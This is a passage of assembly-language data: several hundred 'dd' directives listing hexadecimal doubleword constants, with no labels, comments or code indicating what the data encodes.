		dd 0A6F32803h, 87D4FBB8h, 0C74B12D0h, 4EFA391Ch, 0ED8864AAh
		dd 204051C2h, 0BEDF3C50h, 75C13180h, 0CE92487Ch, 3463CC00h
		dd 0DB063E21h, 108C98D4h, 84D85DCAh, 76090984h,	12301002h
		dd 5F109511h, 0C9CBD90Ch, 0BCD490E9h, 117149h, 43DB6642h
		dd 3781845h, 0C84A543Eh, 80692D8h, 0A1702D02h, 0DF10E114h
		dd 0E38B67D3h, 78D97C12h, 6B540007h, 0BFF45188h, 71CC4A39h
		dd 426CA091h, 5C05220Fh, 701CE0C5h, 10EB6062h, 3760A4Fh
		dd 0A9C63E90h, 0DA984B2Ah, 0CE7E3031h, 0F1A3FF16h, 0ABFDCC30h
		dd 4EEE121Fh, 6388271Ah, 812053FBh, 119C21B2h, 6C430311h
		dd 89662B10h, 8A8CB0C0h, 0B984A164h, 40284431h,	80181F84h
		dd 0E17F8F8Ch, 80A02448h, 0D3B5BF46h, 0C185C92h, 9E42B010h
		dd 40E94E22h, 938D1B80h, 0AB316D1Eh, 941A70E5h,	5C20C431h
		dd 0A1A48877h, 7CC12602h, 651F84C3h, 908B9214h,	0E9B4090Ch
		dd 4F9C600h, 5E2E1B10h,	98D5E21Dh, 4C8B21D8h, 987B6808h
		dd 0A1616980h, 17094FE4h, 4ACA60D7h, 8B7C4030h,	0B4EC24C1h
		dd 0F4060980h, 4348CC24h, 0C04FFB8Fh, 0EA14BED2h, 1270B056h
		dd 16C90690h, 6DDC0884h, 8A4BB264h, 94A71448h, 0D22F2B01h
		dd 86D3E6A5h, 6072CAE5h, 40595A58h, 2250070h, 0BA8C1C27h
		dd 8314C18h, 0EA4A9932h, 5937A83Dh, 38980959h, 0AF018444h
		dd 0EF123640h, 8FD054C4h, 0BE9A0004h, 0B4EAF660h, 7929B8A7h
		dd 0AF05B0F2h, 0DC4046A0h, 0C901F986h, 1E6D02FFh, 3CF60209h
		dd 0BC054155h, 4065F44Ch, 0F8028456h, 38C1A6DAh, 2CF268h
		dd 740710ABh, 6EFCC2F5h, 49B52015h, 1E860088h, 0AA8EADDEh
		dd 0D422501Dh, 2081415Dh, 8C8ABDBCh, 728FA14Bh,	1CBAE00Fh
		dd 4073A2A4h, 0A9215723h, 0A605804Eh, 504FF1FBh, 6B45DC44h
		dd 9380A408h, 950A860Bh, 406F0780h, 202F6383h, 0E861331Dh
		dd 0F1A24101h, 0EEA34A15h, 578CDCh, 7BD4EC88h, 0A0651033h
		dd 0C1EF607Bh, 31C69A7h, 2F0D2DDh, 67CBB0B4h, 86E900D0h
		dd 2CED3EC5h, 0D7038862h, 0C9E016ACh, 98C924A1h, 0C8C09098h
		dd 940A82Eh, 0C922BC19h, 0EC420C14h, 0B6E1EF00h, 0C9C41F5Bh
		dd 0DC338224h, 888E0838h, 5FA78055h, 17D8CF6h, 54B30912h
		dd 11295420h, 85B180EEh, 0A1E82E84h, 96D26204h,	44CFDF02h
		dd 26C50810h, 4900A781h, 6DBDF452h, 0ACB048F2h,	3E9547C0h
		dd 7D4C3961h, 90902148h, 18B88997h, 10016EB8h, 38B31A10h
		dd 786DB116h, 0B911A12Ch, 6C22A7h, 327A21AEh, 0B5405Ch
		dd 67A9BEC6h, 0A239CD8Eh, 0C3459899h, 3C50B404h, 3C856C22h
		dd 43C8A48Bh, 0F9B84800h, 2D5932BEh, 0B6B203AFh, 9CEDB5B4h
		dd 7871B0A2h, 69105100h, 0DF0A6078h, 0D3B28156h, 29ABEA03h
		dd 0FED50BCCh, 1C604E80h, 0BFB3BD0Ah, 20D7CC8Eh, 981F9EC4h
		dd 0FAF6010Ch, 0CBD52A09h, 0B2D860D2h, 0B94E7Eh, 0C50B4028h
		dd 990E615Eh, 6074D377h, 0B5F42B45h, 730E2494h,	4CF2453h
		dd 0F07D3467h, 4D425368h, 6999DC76h, 0AF003FA8h, 306D9C19h
		dd 0E90238E0h, 9DD40A22h, 336CB87Fh, 494E8081h,	0A09D8F44h
		dd 923EAADCh, 32AD44B8h, 1564D80Fh, 0F253808Ah,	4C8805h
		dd 0B6776579h, 1694DEF8h, 6CB50C2Ch, 948B2A8Eh,	21887CD8h
		dd 50CB1FA4h, 6D820C62h, 37F07D08h, 44ABE300h, 0E2BBBDDFh
		dd 0AE5B0397h, 0A7901972h, 28001C93h, 0AF8E6317h, 0C16CDE66h
		dd 78FF6210h, 210CF38Bh, 61069F21h, 971226BAh, 1AB50176h
		dd 830C862Eh, 0ABDD5371h, 262D8073h, 8B95001Dh,	0F07F8EA7h
		dd 1660996Dh, 0F4C35C29h, 911700E7h, 8BC8299Dh,	977678FCh
		dd 0A1C271C0h, 7C377D5h, 1E89CCFFh, 0E86EC61Ch,	886B08EDh
		dd 3424EBF8h, 5E1C84E2h, 0A005F70Eh, 425F7297h,	21300610h
		dd 39177EAEh, 0B06444h,	5EC98650h, 2BA2DD5Ah, 983FE201h
		dd 0CEC79ECAh, 1F0F2260h, 0C0C34F2Eh, 0C439DA4h, 23003167h
		dd 75950680h, 7658BB3Eh, 90243CCFh, 4B9A2A00h, 0B08F8D93h
		dd 0B5766401h, 1A43DC66h, 40FFB895h, 7A12300h, 344A9D61h
		dd 0DC0C0800h, 0F18373BFh, 239001DAh, 5678F3B2h, 228452D5h
		dd 895FA618h, 36D450AEh, 25FA6674h, 506C1C02h, 0AE28249Eh
		dd 82D341E8h, 98F3F6E4h, 751C949h, 96FB3CEEh, 0E1E7C06Dh
		dd 7AB897E3h, 0A5A910A3h, 0D080C692h, 0BE5E6B42h, 4B5590FAh
		dd 1D3C0064h, 88006C6Ah, 3B31898Bh, 882E2BD0h, 35E40E42h
		dd 807C613Eh, 0B2E516A1h, 19655773h, 0D8F82E70h, 44500C26h
		dd 7E91017h, 8ABD8CC0h,	0D2200E71h, 6820129Ah, 0C53D21D4h
		dd 808B5C3Bh, 7B6E6C37h, 0DD66906Dh, 21960C39h,	19498089h
		dd 5463001Ch, 0E86B46FCh, 0D1D16F64h, 6DBF029Dh, 5444860Eh
		dd 0ABCD5F00h, 2583D109h, 6D882478h, 8E9250h, 31BCC630h
		dd 5D604D10h, 5443B119h, 0F511070Bh, 37924C41h,	212446ACh
		dd 0A8DC5E00h, 76B82AA9h, 66641ECEh, 417CB0E9h,	0EC031FF3h
		dd 91D3F7CAh, 0A5CDA0CBh, 2A7718C9h, 8597C972h,	39305100h
		dd 9DFB8913h, 0E32E02A2h, 83DACF5h, 78839C42h, 0D90915F3h
		dd 2292841Dh, 1123AE20h, 95B4504Ah, 2F529710h, 0DF2294h
		dd 0E7A6E199h, 9410A49Bh, 35A0A54Ah, 148B015Dh,	7A6E7113h
		dd 4900CB87h, 0FCDE1940h, 1C09D243h, 1520EEAh, 0DEC42A6h
		dd 2216DDEFh, 0F72302F8h
		dd 203317B9h, 0AA49F996h, 79CBA00h, 0A2669801h,	725E0092h
		dd 40AF2CCh, 5EEA05Dh, 0DCF6E919h, 0C0BB2D1h, 5926081Dh
		dd 3DEA2412h, 2B610742h, 0A34E10D5h, 0BEF6A8FAh, 479BE301h
		dd 0DE7368E7h, 485578D4h, 241428F8h, 88427040h,	0E84B8515h
		dd 39652700h, 0B7DDE140h, 0A49DA326h, 4A89F86Ah, 0AFA4903Bh
		dd 77AA129Dh, 7A982083h, 0DE018C35h, 0B189532Fh, 842459FEh
		dd 6C422260h, 0D15FBD30h, 0EBA249Dh, 0DE5DD8EBh, 0BBE401B3h
		dd 201973DDh, 62400AC4h, 244A0767h, 23C3E95Dh, 1974144Ch
		dd 6090F171h, 517A5480h, 0F0C9900h, 9767153Fh, 3F9092F7h
		dd 0C32491FFh, 61E1270h, 6C6710E0h, 6380D1C5h, 3206B449h
		dd 5A9C6140h, 0D027180h, 0EAA30474h, 1BA7080Eh,	5BAF4206h
		dd 53A3C118h, 332D1320h, 62914F24h, 7B3298E8h, 61678730h
		dd 45C2D5h, 0AD3ACB71h,	50128E4Dh, 91335C00h, 0D4997361h
		dd 0CD9309B0h, 419F289h, 789C51A9h, 36062E3h, 0C64F997Bh
		dd 50F03208h, 8810A328h, 933CB114h, 11FC18C4h, 3F00CCA0h
		dd 0EDA89686h, 0F0D9D04Fh, 1BAC0691h, 58C33002h, 94165028h
		dd 69AB58C6h, 0B0DC80C1h, 4C501EAh, 750B64E2h, 0FB0622Bh
		dd 0C0517352h, 6F321AADh, 85911E5Bh, 43C9348h, 8BB3FC4h
		dd 324B7194h, 74C04C08h, 1EE3E18Bh, 999A19BEh, 0F004F1CCh
		dd 0A8804DF4h, 2B563080h, 948C8369h, 0ECD4816h,	2288E811h
		dd 66A0E821h, 2891311Bh, 3C06A324h, 768B2831h, 798E2B13h
		dd 9DB16B01h, 8B5F4FDBh, 0A16F5AC0h, 2440A5CCh,	0C13A2592h
		dd 0D54791D1h, 0B4213Fh, 76AA354Ch, 3446A12Eh, 440B0D08h
		dd 748050FAh, 48309789h, 6EADA140h, 63C0F463h, 1B25BEE6h
		dd 0EB6E000h, 0B1C76F5Eh, 0BFEF485Bh, 4A566902h, 0B498A7AAh
		dd 5B58B366h, 91C52100h, 63F44055h, 5A3F0F84h, 9D24F5D1h
		dd 0A3D0916Dh, 80E0427Bh, 83006844h, 24F55C3Dh,	3F06360h
		dd 0A62584CCh, 0D9889C16h, 5600B6A4h, 5D81A968h, 0C166E6h
		dd 196384DCh, 3A9164E3h, 0BC0980E2h, 490605Eh, 5531C27Ch
		dd 22881117h, 0E42B12h,	2D373Eh, 0CE4AC935h, 2999C0h, 2098AD8Ch
		dd 0CD4EA26Eh, 0A0DF4380h, 208390F0h, 6E006265h, 4931B057h
		dd 2C7950h, 0DF3D5CE7h,	6F088E3h, 12263F75h, 2242F066h
		dd 1C30618Eh, 1A40450Ch, 0F4FD552Eh, 3ADDB030h,	2D8F8BABh
		dd 19F88226h, 4D00BFADh, 10FA6B8Dh, 13902AFh, 691C6D05h
		dd 0D4B412AAh, 3A5186FEh, 8D0E9D0h, 0C21E40D3h,	76939B19h
		dd 1E23B60h, 225D8A78h,	9FC28058h, 24D4FCA6h, 6A0081A3h
		dd 2B5C06F9h, 0A6012925h, 0D7A7FC36h, 78907EE0h, 4FBEC855h
		dd 0AA41C040h, 0E216B254h, 2804FF23h, 87010CC4h, 33E078FEh
		dd 2104C38h, 0AA388994h, 0A948E574h, 673B81D8h,	0FD61933Ch
		dd 0F899F491h, 0CB4C98A8h, 639E81C0h, 1ADAFC1h,	0F961545Ah
		dd 404C2587h, 99671ACCh, 98D12461h, 0BA834181h,	0F3DB951Bh
		dd 64F929D1h, 122E74ACh, 0A51C871h, 0C49EA317h,	0ABDF0F88h
		dd 84107C28h, 0FE00E086h, 40421A21h, 1D1595h, 0B25BD22Fh
		dd 7F992B71h, 8791410Ch, 332D912h, 0DFA3427h, 65E3CB5Bh
		dd 0D4FB7150h, 0A2C61601h, 53238BF1h, 0FAA7BC41h, 6488E852h
		dd 87C22E78h, 96B40F0h,	0EC02D34Bh, 0A8A372FCh,	0E600C874h
		dd 88C830Eh, 1D97B0h, 0B454AD3Bh, 9600F3FCh, 19F056B8h
		dd 0A83A2A30h, 390C6198h, 0DC80440Bh, 0CFAAB98Ch, 7B0748D9h
		dd 0AD832A15h, 0F061A080h, 0DD662EBAh, 0B804300h, 2A0C9907h
		dd 56D0B34Ah, 3D43EC13h, 889CA1A2h, 7F408F7Ch, 400B3EA9h
		dd 4B6C6018h, 0A846EC1Dh, 270534E6h, 508055E6h,	98F27476h
		dd 7A20431h, 0C889ABC4h, 0B0548B54h, 0C490878Ch, 330D3421h
		dd 982A50D8h, 1B07B416h, 0E5FA8C1Eh, 0A1777300h, 5FE158A8h
		dd 370EE00h, 80596402h,	2443F924h, 38200892h, 0EBD7B9h
		dd 0D2C75663h, 5F6D8758h, 3280A094h, 95D578E3h,	10BAFE6Ch
		dd 506D2A3Fh, 8B00B661h, 2B011CB8h, 97F7CA1h, 601503C3h
		dd 0B5752D80h, 357468DAh, 80063CF0h, 0E26518B4h, 1F7541h
		dd 94A066BCh, 73A12132h, 598219C6h, 58F30081h, 0B7C452BFh
		dd 8A1FDDC1h, 74405344h, 6E98C78Eh, 56490995h, 9CA2818Bh
		dd 0C202185Fh, 5C24A0E9h, 132C7BE1h, 0EFB1FBB0h, 0CC870900h
		dd 18DAD98h, 9C7CF46Dh,	304C313Eh, 275D6BFBh, 229E08E8h
		dd 50C3887Dh, 0AEECE38Fh, 38A41E20h, 0F6994900h, 242B3919h
		dd 98907D89h, 8398D164h, 5AE4F500h, 89B1CD8Ch, 0EBA73E43h
		dd 2FB7A3Fh, 0B5971D41h, 94C9B4ADh, 5277101Eh, 83DC91BDh
		dd 865EDF7Fh, 1B2079EEh, 2130004Ah, 5112DAD6h, 4C07BB8Eh
		dd 422A8152h, 960A6C3h,	5F957889h, 8C18A0A9h, 1B006650h
		dd 0EC9ED8AEh, 42EDABC5h, 2CF722D3h, 6198AA21h,	0DB4E6B57h
		dd 0B46EDDB8h, 9E97E03Dh, 94823E5Ch, 841BD979h,	34403A34h
		dd 53471228h, 0AB63B00h, 0AEF196BFh, 0F9FD0098h, 7A573241h
		dd 0AD5C878Fh, 799D062Ch, 6492C97h, 4CB1F5C2h, 87991CAh
		dd 36E04500h, 0C35C35D4h, 6CFD2A6Dh, 0FC148894h, 2C74D8h
		dd 4BA46A9h, 28D5A065h,	0AA1D903h, 0FD6A9CB4h, 1695EC20h
		dd 190C09BCh, 70908014h, 551C57ABh, 80FBF987h, 6097A4FFh
		dd 76D145h, 3E4BE96Dh, 4A651C8h, 0E2F0E501h, 970E66B1h
		dd 7700703Dh, 0BB94ACDCh, 0A80076A0h, 8321C312h, 0B10C9710h
		dd 665C08ACh, 20DE1ABAh, 1F8CCC0h, 0C3B7E899h, 0F20308EAh
		dd 0DFABF0A2h, 0A1676083h, 0D100F978h, 72DEA441h, 2782FBAh
		dd 7A02A6DDh, 0A840C235h, 215CAB2Ah, 19A0344Ch,	550908E2h
		dd 0C80083E5h, 0F94E297Ch, 0EC2124h, 0A0190862h, 0CF2B18CCh
		dd 0FFE00F27h, 0A1A03256h, 0DB4B3021h, 0F49AE278h, 2B18EC50h
		dd 20386CA1h, 3D3E32D6h, 73278045h, 2B462E86h, 98CAED19h
		dd 0C1C8C0h, 28F6670h, 4C649EE9h, 7A22C890h, 0D6BA1E14h
		dd 8E003F6Eh, 1CB928FFh, 26074CFAh, 14675F5Ah, 33064BF0h
		dd 99980C71h, 77185BD0h, 3B5E2100h, 0A381E369h,	0FBFC00C6h
		dd 4883A74Eh, 770054AEh, 174CDA2Bh, 0E48798h, 0C162762h
		dd 5F1B0381h, 4665E300h, 7835CDB7h, 0B091EEh, 2FF8D6C2h
		dd 80A16D3Bh, 0F4C31062h, 0B672045Ch, 0C20BD299h, 6511677Ch
		dd 0F1C28410h, 51233700h, 0DE611A6Ah, 674F3C8Dh, 24351600h
		dd 2EE70764h, 0BE5C7700h, 789FE45Eh, 3EB70189h,	0BFD595DCh
		dd 9860E0A0h, 0E59E8000h, 0E7ECA655h, 0EA9A00F0h, 0B604DEFDh
		dd 1F008B9Ch, 9741ADCCh, 7C5F6242h, 521C1614h, 0E3D80A48h
		dd 0B59561E4h, 518E001Eh, 0A810168Fh, 2E4843E7h, 0C1296397h
		dd 0BD00844Ch, 270C76C1h, 6FE0F0h, 125BC953h, 1F839B43h
		dd 4A982B58h, 0BA11D821h, 5386F0h, 882DE1BFh, 15CBBB56h
		dd 4793B509h, 0D874EB2Bh, 0E6DB6792h, 9D413E39h, 820CDE80h
		dd 141C1AC0h, 935CE504h, 21024738h, 1D206FAEh, 0B1873985h
		dd 2ECE00A0h, 434A3423h, 64C75003h, 0A0B84B78h,	17FC33DEh
		dd 95D855Eh, 278E3F0Ch,	7790AE80h, 6C917263h, 1AA36202h
		dd 167C405Dh, 4D1D8014h, 597B6CA0h, 0EC50931Dh,	0ADFB9600h
		dd 43D0810h, 19A8AF0Ah,	754F2C3h, 6B9E3CC0h, 0A0CA31F3h
		dd 365AE29h, 0BEFCF853h, 0D011771Eh, 78096799h,	0B014182Fh
		dd 0A1AE5F00h, 0C40D990h, 374A2489h, 13A06EDCh,	2B0F49FFh
		dd 0E516A80Bh
		dd 0D8749387h, 0EA2E1015h, 5C550043h, 91A0FCAEh, 3F03DB4Ah
		dd 2290DD07h, 0C0D7E5ABh, 0F12B3AD1h, 0F6940424h, 0F93E12F3h
		dd 9DCA0079h, 0CD951225h, 16EC284Ch, 6821936Dh,	78688777h
		dd 47137A3Ah, 87C48708h, 50E5D0E3h, 78001EC6h, 0E2FF8A56h
		dd 6026D484h, 0EEF3586Ch, 3E29DAF4h, 6780B415h,	0BCC7C2A3h
		dd 0E22F0019h, 0B29D85B3h, 840456CCh, 1B69916Eh, 0B964A480h
		dd 30EF0192h, 0ABDD38BAh, 87422E3h, 861F622Fh, 990A97A7h
		dd 0F8946729h, 5E18B4A6h, 21EC11h, 75C4A525h, 6BC0D0Bh
		dd 0E38C4200h, 97117C5Ch, 387B6176h, 945B5F2Eh,	15C4C61h
		dd 4FDE2CCDh, 8BF0FC40h, 3B4A00CEh, 38A496F5h, 0F400C2DFh
		dd 55A771Fh, 4FCA15Dh, 0D3AC4F99h, 0F15CF431h, 23B688h
		dd 0A127EBD8h, 283F94E3h, 13F09139h, 3CD44A10h,	0FBB08Ch
		dd 0E5358BD6h, 0B9C07A5Ah, 5F0034E2h, 9147571Bh, 3C37C58h
		dd 4B3D1FEFh, 9092AC66h, 8039E071h, 75E55C4h, 185BF601h
		dd 186AF083h, 953EC774h, 0D8060519h, 0D483BBC8h, 8FDDE9E8h
		dd 6E3B24DCh, 0AFC2492Ah, 407F812Dh, 0CF17FB8h,	0F701471Bh
		dd 0DA134690h, 900833h,	91E68Ch, 0FD6E527Bh, 0FCB2F19Bh
		dd 6D2F7576h, 2B549094h, 97CBE22h, 509041FFh, 0BF000C01h
		dd 674EA103h, 11054Bh, 0DCECAEDBh, 2881B39Ch, 0C11F0F09h
		dd 1D3400FCh, 2153F79h,	5D04C230h, 5C4809BEh, 0C1C0292Bh
		dd 0F0239EDAh, 0B28D0018h, 3C418352h, 2EE24CBFh, 69D4BA01h
		dd 6D87FCCCh, 1967D450h, 717A13h, 9F837F03h, 74DA6528h
		dd 0E7415F00h, 698AB254h, 11E0317Ah, 39F321F9h,	0E2920130h
		dd 0B6913EAFh, 0C2DBFFE9h, 0A680C01Ch, 8754B424h, 70D48B67h
		dd 0DECFCA53h, 83F7B900h, 63DBC1ADh, 866D1622h,	4FC53D3h
		dd 928D688h, 0B0868C70h, 505F59A7h, 0F24D5DC0h,	0F00001CEh
		dd 3ECF96E1h, 3085E63h,	67032418h, 804A3699h, 0A3A15431h
		dd 0EAA77AF8h, 9E23009Bh, 2DF6EA32h, 0D332A6BCh, 469904B6h
		dd 0C2090AB8h, 40E8F86Dh, 8F644966h, 2D2B7609h,	0FE288727h
		dd 1D849620h, 29CF2D5h,	0F7F35EFFh, 94607BA3h, 25847AA6h
		dd 884528E0h, 5F11682Ch, 0F9574100h, 5D795C80h,	0BA386A00h
		dd 9EB00552h, 69E800C9h, 4E8A3E98h, 744C592Eh, 75931928h
		dd 9A100C50h, 4F1784EEh, 30000881h, 5F5D3031h, 0BC882C7Ah
		dd 262B8AA0h, 0E8218090h, 3642586h, 9473DD05h, 8B21C83h
		dd 302E1440h, 771915F8h, 0E85EF5C3h, 0A18C1020h, 96AB396Ah
		dd 0B301796h, 0A44E2A28h, 63955A00h, 3BF9D16Eh,	47E409D5h
		dd 3F80048Ah, 0A5A682FEh, 0E05EEF26h, 48207B64h, 889C5014h
		dd 0CAE3DC60h, 4B07406h, 23BF89C1h, 3AB38093h, 5C35CEDDh
		dd 0ECE0EA7Bh, 3582E87h, 566563D8h, 0B1590802h,	44ED2174h
		dd 0EC95126Ch, 970490DFh, 106F84E3h, 88276A49h,	2A2E329Eh
		dd 0A1F18101h, 0EA9DF814h, 0BA600E58h, 479474A0h, 0D00AAFDh
		dd 0A8881CA5h, 2C9F930Ch, 8BE33E83h, 0D013104Ch, 0E10C95E0h
		dd 701D8CE6h, 6CC141F2h, 0E91AA42h, 1783A5FCh, 0DFEF308h
		dd 0E4391784h, 6B0007D7h, 0F9949FC3h, 0EA7A355Fh, 0B9A500E9h
		dd 38401B0Ah, 8A070D0h,	0FB69CC98h, 3E80A029h, 18CA8530h
		dd 592517B9h, 9900F9A6h, 0A9BC86FFh, 0BF8144h, 0AF169F1Eh
		dd 0A8F59AC2h, 0D9D0D200h, 64624E2Bh, 9DFAF7h, 4CBADE10h
		dd 4229A222h, 16607B4Ch, 9409EDB8h, 8F58005Ch, 0A5AE368h
		dd 0BCF90B70h, 4B1603E4h, 54A04999h, 0A109CF10h, 206F8221h
		dd 9FA3761Ch, 495E0F3Ah, 5620E68Fh, 0CD4BED8Dh,	88BD9617h
		dd 0C07BB422h, 597E4298h, 6000E436h, 55FDD423h,	0E02DE2A3h
		dd 53B082F7h, 0A19400BCh, 9F1B71ECh, 0D2710BD1h, 480CC47Ah
		dd 6F186CA6h, 0F47408A0h, 0E3E9E209h, 94DC6864h, 0A6160C4Fh
		dd 1228B4C2h, 0F30D8FE8h, 0F9EE5C5Eh, 552FEF8h,	4D46BDA8h
		dd 0D4E0204Ch, 2E026F5h, 0ED04E4B4h, 0EC804674h, 4301B6Fh
		dd 0B2DDD008h, 0E000A165h, 590B7C9Fh, 8B400E58h, 8C10408Dh
		dd 0E921813Eh, 22BC226Bh, 4B490061h, 44E11413h,	2174B666h
		dd 19106F1Fh, 4A948B03h, 0E3911416h, 90076C53h,	0A702B601h
		dd 5B6D410Bh, 7751977Ch, 0EB044C8h, 0F8E8A0A5h,	0D2103A00h
		dd 400132Ah, 6A9F32F0h,	520FD939h, 9B49CC3h, 389024B0h
		dd 5D00A4CFh, 76A70B65h, 1CB1AE9Fh, 831D3780h, 57AF31B5h
		dd 9A35ABB0h, 0B76A9C07h, 3047A5BEh, 15DC2180h,	642001C9h
		dd 7291DD14h, 0F829803Bh, 6C4D4F23h, 348800B7h,	0AD20B4D7h
		dd 0BA3FED8Ah, 9D2C1861h, 139948h, 24C87D50h, 0F4A0EE1Ah
		dd 61FDD00h, 4F2FC0BAh,	0AC6818EDh, 9F30588Dh, 80272937h
		dd 38007785h, 76B10D2Bh, 18E51432h, 0AF3C584Ch,	4138B985h
		dd 7C5C00B3h, 80DCD089h, 0E497560h, 22F829h, 84E5FB20h
		dd 7BE6BC0Bh, 6C736600h, 878E9267h, 0F0565C75h,	1DA71501h
		dd 41A42791h, 80834F34h, 84140DA1h, 58C1F3h, 0AE1D1C74h
		dd 8E929DCh, 1F0006E2h,	0FDC0B243h, 342161BEh, 0C699D57Bh
		dd 890F9179h, 802FA2E3h, 6F24DC29h, 4EBB1D70h, 63C500D2h
		dd 199636A4h, 0BCFC9F00h, 9A297DB8h, 89E608A9h,	371D9D3Eh
		dd 110E0020h, 2EC19E7Ah, 0EA677CE5h, 0B1FC4F78h, 0DD9A1E8Bh
		dd 0E594803Ah, 3706D482h, 15EE2600h, 1CB40D77h,	501E7AC5h
		dd 0AB5080h, 3495A666h,	0B7288E4Eh, 0BC40D71Ch,	11FB6800h
		dd 33CA88Dh, 9D70DC64h,	391D3D36h, 1780B98Ah, 0D2E0935Eh
		dd 1A7A0773h, 50D08E5Ch, 0B615E119h, 0B8AA10Fh,	0EF504035h
		dd 288910D8h, 1044B136h, 52BA8AAh, 0A9B7216Ah, 232DA022h
		dd 0BFD8E918h, 1A00615Ah, 1B6D8BF6h, 54E0E520h,	4405BCF8h
		dd 0A828A9AEh, 99FE283Bh, 1BB84484h, 0F904E407h, 0ACDA74E9h
		dd 6680B380h, 0B9FAA9h,	0B89AAF3Eh, 4DBCE01Eh, 1B09C572h
		dd 4AD793Dh, 3580E540h,	7AC84EA4h, 0C0777B11h, 4DCE4F71h
		dd 9871960Fh, 0E3F2D800h, 5E452A7Dh, 33A0053h, 0C2198F4Fh
		dd 41EEA53Ch, 0A1B71F30h, 0F248E97Ch, 0D726066Bh, 180EB019h
		dd 140C2F0Eh, 1069AC6Ch, 0DC7200AFh, 71687DD1h,	0B8A17AFAh
		dd 213E04Dh, 8DE430A0h,	0B741343Ch, 28C5395Fh, 0C01F804Eh
		dd 0A2B82696h, 0B31C3E27h, 0DD190580h, 69A18880h, 8C2FAC2Ah
		dd 0E1AA3A0Ch, 9148E131h, 7607018Ch, 70B51654h,	4A00F6E6h
		dd 0F3E067Bh, 0EC2F212Ah, 0B98E0173h, 31AD243Ch, 0D104208Bh
		dd 0B7D99E03h, 159A7832h, 2C8F87F9h, 54022800h,	0BBA81A53h
		dd 6590B307h, 7EB02BF3h, 1FFF9DC8h, 0DB0EAE2h, 59D161BDh
		dd 0F8EB2190h, 28E0415Bh, 0FF804C99h, 6BB97174h, 67E004Bh
		dd 0B689E3DEh, 0E9EBFC29h, 6FE1C4D3h, 845EC83Fh, 7A9D19D0h
		dd 0DB300E12h, 90EFA7C7h, 865B16FFh, 0E917DA00h, 89F3124Eh
		dd 970435EAh, 0BE283220h, 13B88A02h, 9FF948B1h,	8E3F3321h
		dd 0E7F5062Ch, 0B4F119CDh, 1D10F849h, 313DE979h, 1E458B0h
		dd 3F0ABB39h, 9C50ADA2h, 0F314B0Eh, 0F6D59853h,	3F3D0421h
		dd 3FBC47CFh, 27010AB7h, 43089D90h, 92FB443Ch, 0AB50F090h
		dd 0F9C8D400h, 1B133D60h, 53D0C068h, 0C28E6925h, 6431D5E1h
		dd 0A413191Ch, 4C04A09Dh, 28935EA5h, 67EFD810h,	77F500EAh
		dd 0E20947D1h, 0F13DF34h, 3004C0h, 0C43DA869h, 8C44B2D9h
		dd 7A1EB8DCh, 402C6AEh,	9870E9FDh, 2065DCA0h, 4EE49AA9h
		dd 333FC912h, 0C2022400h
		dd 98CA8860h, 0D584A320h, 64A29C22h, 0C14A0020h, 16B2C2BEh
		dd 8607BAC0h, 5F3B8146h, 9519A760h, 4E7058Fh, 0F77E9F8h
		dd 6669BD3Ch, 25E12C20h, 5600709Eh, 0E37C977Dh,	266FEBB0h
		dd 40B849FAh, 18DD3D23h, 5BB12400h, 438805BDh, 5A310079h
		dd 78D4C30Dh, 0C4AB2E76h, 0DA34C0FFh, 251EE00Ch, 803CA9C5h
		dd 64990463h, 0F89F297Ch, 0A1B892C8h, 8211FB18h, 0BEDFE0CDh
		dd 2DB9C904h, 90C8A547h, 8B0E0022h, 2967AA2h, 0F100B7A7h
		dd 0AC1D78E8h, 0C1BAFB1h, 64803211h, 391EC831h,	0E753A449h
		dd 5A62BE00h, 3973573h,	68EA4D4Ch, 793A3CBAh, 0B8B32456h
		dd 0B7792141h, 9E09BC66h, 0F88EB9D1h, 8CD03E8Ah, 9FF12077h
		dd 6992D03h, 0C5D7289Bh, 83DA80ABh, 10209A8h, 22A759CBh
		dd 90A0C455h, 71451849h, 0B6E4125h, 6B880700h, 5AD601B4h
		dd 752B007Fh, 0C48BF964h, 2238F5EFh, 786189AEh,	19580B69h
		dd 4D4E804h, 89D50020h,	122F5A5Eh, 730008C3h, 0CEAC5D99h
		dd 9CCCB06h, 916FE702h,	9D4E9C80h, 3A747A10h, 742DE9C0h
		dd 65E5B014h, 775965h, 0BD947250h, 0F8F6EBB2h, 2DCD0D00h
		dd 0F7370851h, 3DD0E7A5h, 701800C0h, 0E407995Ch, 651EA268h
		dd 15C0322Ah, 3A6B911h,	5322F637h, 8A09340Ch, 0E0966632h
		dd 0AF42E500h, 46DCBF2Eh, 0F01003A6h, 0BB647CB4h, 24404CB2h
		dd 0C1CFA2A5h, 331A47EAh, 0E6208540h, 0AA905D8h, 2239217Bh
		dd 9D2029D8h, 0AF4B0Bh,	9452A3F3h, 3CF5C1E0h, 5B93D70Eh
		dd 9895C3DEh, 1831D822h, 78DCF2D8h, 7FD1005Fh, 0DA0B5D92h
		dd 0D000C828h, 17577D58h, 0AB18D7h, 0A07CADA3h,	33C64DFBh
		dd 1CDC163Eh, 7147BDF2h, 6B511E10h, 0A6DC691Dh,	0DE6001EEh
		dd 0A9FD3591h, 9698648Eh, 0B86EF00h, 0CABC4AFFh, 0B734007Dh
		dd 9D32ECBFh, 0EE0F732Ah, 60925B6Bh, 5520DD24h,	2C3148D0h
		dd 0FFBC0074h, 784A134Fh, 4400F968h, 4EB9E47Dh,	5066EA5Fh
		dd 2AB8809Ch, 9CB5A4h, 5ABACF36h, 648A3EF8h, 75A35B00h
		dd 11D98450h, 2A8702F2h, 0DA18CA1Dh, 0BDFC807Dh, 0C1C0B132h
		dd 0B5E7C41h, 0E43430C3h, 29601907h, 0EEC3E3FFh, 465D88C4h
		dd 4C023987h, 0C460412Eh, 11B332E9h, 0AD207075h, 0DE6B3400h
		dd 134880BCh, 0E91B00A0h, 0F01E1F4Ch, 70E7A72Bh, 657E376Ch
		dd 86D828C0h, 702489Bh,	986F4E51h, 449EC1B4h, 4C342252h
		dd 778D0C70h, 60792Dh, 5A372191h, 6E52EBA2h, 10FC710Ah
		dd 0FA6090D0h, 72958h, 4C21D37Ah, 0C622CD9Eh, 89696E00h
		dd 67CC6D14h, 2C4AEF2h,	32F78DB1h, 9491A7B0h, 89589E8Eh
		dd 5F09C0A4h, 4F9890AFh, 44993Eh, 4CC32B46h, 710CA9FCh
		dd 0C1338031h, 0ADC912E0h, 0B5F900B3h, 71D8454Bh, 36A1AC05h
		dd 148838B1h, 59266076h, 1331BC5h, 804E4D38h, 47B4114h
		dd 1F616411h, 96B8D7EBh, 332C08E6h, 442ED48Fh, 7AC2B2D0h
		dd 6F6CC00Eh, 4DBE2621h, 0EFB480ACh, 88C35983h,	239F8F09h
